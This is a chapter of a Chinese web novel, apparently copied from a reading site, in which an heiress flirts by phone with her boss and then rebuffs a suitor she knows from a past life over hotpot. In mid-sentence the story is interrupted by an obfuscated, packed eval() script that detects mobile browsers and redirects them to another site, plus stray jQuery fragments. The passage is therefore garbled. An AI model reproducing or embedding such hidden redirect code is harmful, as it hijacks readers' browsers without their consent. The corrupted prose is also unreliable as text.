47. 火锅

作品:《超能打嫡长女整顿豪门日常

    “真的吗?”电话那头,段丛璧翘起嘴角,她趴在床上,眉眼盈盈带笑:“我也觉得很好看,那你有没有心动的感觉?”


    季延青摆摆手,乔恺就出去了,他转动椅子,看着窗外:“你不忙?”


    他又在躲避,段丛璧鼓了鼓腮帮:“不忙,我哪儿有您忙,日理万机。”


    季延青看了一眼办公桌上的文件:“我是挺忙的。”


    “那你挂电话吧!”段丛璧有些生气,她翻身拿枕头蒙住脑袋,不理他了。


    过了好一会儿,她拿开枕头看着手机,发现仍在微信通话中。


    “你为什么不挂?”她抱着枕头,又翻过身趴着:“不是挺忙的吗?”


    季延青:“我现在就是在忙。”


    段丛璧一愣,她嘴角翘了翘,又被她自己压了下去,清了清嗓,故意听不懂他的话:“那你一边忙,一边跟我打电话,不会影响你的工作吗?”


    季延青:“事情有轻重缓急,我有分寸。”


    “哦。”她故作淡定,实则抱着枕头笑得眼睛弯弯。


    “关于焦璨之间在片场说的那些话。”季延青清脆的声音传来:“公司已经处理了,你以后要注意一点,与异性要保持距离。”


    段丛璧趴着枕头上:“哦,那我和你呢?”


    季延青:“我也是异性。”


    “可是我不想和你保持距离。”她嘟起嘴:“季延青,我天天都想和你待在一起,做不到怎么办?”


    “做不到?”季延青声音带笑:“那只有扣你的KPI了。”


    段丛璧霎时眼睛瞪得溜圆:“你好歹毒!”


    “不过也无妨。”她偏过头,哼了一声:“姐有的是钱,出来拍戏不过是体验生活,拍完了戏就要回家继承家产了,不在意这些。”


    季延青脸上笑意更深:“你从哪儿看的这些乱七八糟的东西?我劝你趁早把那什么小说卸载了。”


    “少管我。”说到焦璨,段丛璧认真问:“她那边怎么样了?”


    季延青脸上的笑淡了两分:“她知道你的身份,就消停了,你表哥那边追得很紧,公司也出面和她交涉了,以后不会再闹幺蛾子了,放心吧。”


    段丛璧诧异:“你知道那是我表哥?”


    季延青:“圈子里就这些人,我知道很奇怪吗?”


    “不过你也不错。”季延青想起之前那段视频,赞扬道:“临危不惧,年纪轻轻,和前辈对峙也不落下风。”


    段丛璧一下就得意了,她抬了抬下巴,眉眼骄傲:“那可不,也不看看我是谁,我以前都是和皇……”


    都是和皇亲贵胄、世家大族打交道的,哪里会怕区区一个焦璨。


    “和谁?”她的话语戛然而止,季延青问:“你倒是继续说。”


    “哼。”电话那边传来她不满的声音:“接下来的话你不能听,要我男朋友才可以听,怎么样?要不要解锁这个权益?”


    季延青挑眉:“婉拒了。”


    段丛璧气急败坏挂断了电话,季延青在那头看着被挂断的电话笑得乐不可支。


    转眼过了元旦,段丛璧这些日子大概就是上学,拍戏,锻炼,看书,倒是很充实。


    马上过年了,S市年味很足,街景布置得都很喜庆。


    这天周六,段丛璧罕见地睡到了中午才起床,这段时间她挺忙的,学校剧组家里三头都要跑,学业事业兼顾,还得抽出时间锻炼修炼,体能加强了,思想也得顾上,她随身带着书,有空了就翻翻。


    中午叫了外卖,她刚准备吃,手机响了一声,有人给她发消息了。


    打开一看,她惊讶地挑起半边眉毛,居然是贺原约她吃饭。


    原:[有要事商量,段大小姐今晚可否能赏脸吃个便饭?]


    要事?段丛璧被勾起了好奇心。


    阿璧:[是什么要事?]


    原:[见了面就知道了。]


    反正晚上也没什么事,段丛璧考虑了一会儿就答应了。


    阿璧:[行,我想吃城东那家火锅,七点方便见面吗?]


    原:[可以,那晚上见。]


    傍晚的时候下起了雪,段丛璧穿了一件灰棕色长款羊绒大衣,脖子上系着一条毛茸茸的灰色围脖,下面是一条黑色裤子和平头短靴。


    到火锅店的时候,她看见了贺原的身影。


    他穿着灰色羊绒大衣,内搭是一件高领黑色毛衣,西裤皮鞋,看上去十分优雅贵气。


    段丛璧走过去坐下:“小贺总来得挺早。”


    现在距离约定时间还有十分钟。


    贺原合上手里的书,笑着看她:“总不好叫女士等待。”


    他打量着段丛璧的穿搭,转头看了一眼窗外,挑眉:“段大小姐,不冷么?”


    段丛璧喝了口热水:“我身体好。”


    她看着贺原,开门见山:“小贺总说有要事商量,请问是什么事?”


    “不急。”贺原笑着伸掌示意正在沸腾的火锅:“先吃饭。”


    鼻尖萦绕着火锅的麻辣鲜香,段丛璧不说话了,她的确是饿了。


    她放下包包:“小贺总说的要事,与我有关?”


    贺原:“是的。”


    段丛璧拿热毛巾擦了擦手:“很重要?”


    贺原耐心地看着她的眼睛,态度温和:“很重要。”


    段丛璧遂不再多问,她提筷开始吃饭,神色自然,贺原看了她一眼,垂眸莞然,也提起筷子吃了起来。


    期间他有意展开话题,被段丛璧挡了回去:“小贺总不是说先吃饭吗?我吃饭的时候不喜欢说话,我们还是吃完再谈吧。”


    吃完火锅漱过口后,两人上了二楼的甜品厅。


    段丛璧要了抹茶味的蛋糕,再要了一杯柠檬水,然后看着贺原:“所以,是什么事?”


    贺原喝着白开水,往后一靠,他跷着二郎腿,双手插合放在膝上,不疾不徐:“我们应该是朋友吧?段大小姐对我的印象怎么样?”


    段丛璧可没拿他当朋友,她下意识想要反驳他的话,但转念一想,如果她把关系闹得太僵,丁漪白那里会难做。


    “绅士。”段丛璧莞然:“温和。”


    贺原一愣,他抚掌轻笑了起来:“段大小姐还真是有意思,我还是第一次听见有人这么形容我。”


    段丛璧但笑不语,她垂眸吃着蛋糕。


    其实不是,她只是说了违心的虚伪话,贺原......不对,是袁壑,他并不绅士,也不温和,相反,他偏执,极端,为达到目的不择手段,性格恶劣,是个不折不扣的疯子。


    上一世她的死,也是拜袁壑所赐。


    贺原,就是上一世的袁壑,去年她生日宴会上,看见贺原的第一眼,她就知道,他是袁壑,皮囊一样,骨子里也一样。


    “很荣幸。”贺原眼中笑意清浅,他双手支着下巴看着段丛璧:“可以从段大小姐口中听见这样的评价。”


    段丛璧吃了一勺蛋糕,面上蒙着淡淡的笑,没有接话。


    贺原想了想,再开口:“段大小姐为什么想要去娱乐圈


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967459|188477||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    呢?”


    段丛璧:“兴趣而已。”


    “但是这会给你带来麻烦。”


    “我不怕麻烦。”


    段丛璧放下叉子看着他:“因为我有解决问题的能力,所以我不怕麻烦。”


    “小贺总。”她拿餐巾纸擦擦嘴:“绕了这么大一圈,您说的‘要事’,究竟是什么?”


    贺原端起杯子喝了几口热水:“那我就直说了。”


    他轻轻放下杯子,看着段丛璧:“据我了解,段大小姐还没有对象吧?”


    段丛璧:“没有。”


    贺原观察到她细微地皱了皱眉,微笑:“那你看,我怎么样?”


    段丛璧往后一靠:“您这是……”


    “毛遂自荐。”贺原两手一摊:“我们家世相当,也是朋友,对彼此有一定的了解,何不尝试一下呢。”


    “我这个人不喜欢尝试。”段丛璧平铺直叙:“况且,您比我大很多,各方面都比我成熟,我不喜欢这样的,会让我有种被居高临下俯视的感觉。”


    贺原:“年龄只是数字,你说的这些,只是刻板印象。”


    “刻板印象之所以是刻板印象。”段丛璧条理清晰:“说明在大部分情况下,事实始终如此。”


    贺原:“事实也有个体差异,段大小姐应该多尝试,不尝试,又怎么知道是不是个体差异呢?”


    段丛璧婉拒:“我喜欢稳中求胜。”


    “好吧。”贺原抵着靠背,双手放松,搭在椅子扶手上:“看来段大小姐比较固执。”


    段丛璧耸耸肩:“这不叫固执,这叫对自己的喜好有充分的了解。”


    贺原看了她半晌,又笑了。


    段丛璧这次毫不掩饰地拧起眉头:“小贺总笑什么?”


    “你好像一点不关心我为什么会提出这件事。”贺原脸上带着意味深长的笑:“是真的不关心吗?”


    段丛璧懒得和他纠缠:“好,我关心,那你为什么会提出这件事?”


    “我觉得我和你有缘。”贺原挑起眉,他跷起二郎腿,半边身子倾着,手抵着下巴:“几次偶遇,几次聊天,都让我觉得我和你应该是上辈子的缘分,所以我考虑再三,才约了你出来。”


    贺原的确是觉得他和段丛璧挺有缘分的,再者,她家世不错,长相身材不错,待人接物这些也很妥当,性格也合他的胃口,刚好他也没有女朋友,试着相处一下也不错。


    段丛璧:“我不这么认为。”


    她眸光清亮,口齿伶俐:“我认为我和小贺总只是几面之缘,交浅言深,不合适吧?要谈恋爱,就更不合适了,况且,我一直当您是长辈。”


    贺原被她这番话说得哑口无言,尤其是最后的长辈二字。


    “我看上去年纪很大吗?”他低头看看自己的衣着。


    段丛璧:“这倒没有,您风华正茂,一表人才,只是在辈分上,您的确是长辈。”


    她和冯乔声是同辈,贺原是冯乔声的表叔,那的确是长辈了。


    贺原气笑了:“段大小姐还真是伶牙俐齿。”


    段丛璧莞尔:“过奖。”


    “不过我不会就此放手的。”贺原敛了笑,正色看着她:“我觉得,段大小姐是我的最佳配偶,是我应该珍惜的人。”


    似曾相识的话,让段丛璧下颚陡然绷紧,她眼底蕴起风暴,放在桌上的手缓缓收紧,手背可见筋骨。


    “我是不是打扰到二位的雅兴了?”季延青站在不远处的屏风旁,双手环胸,看着他们这一桌,似笑非笑。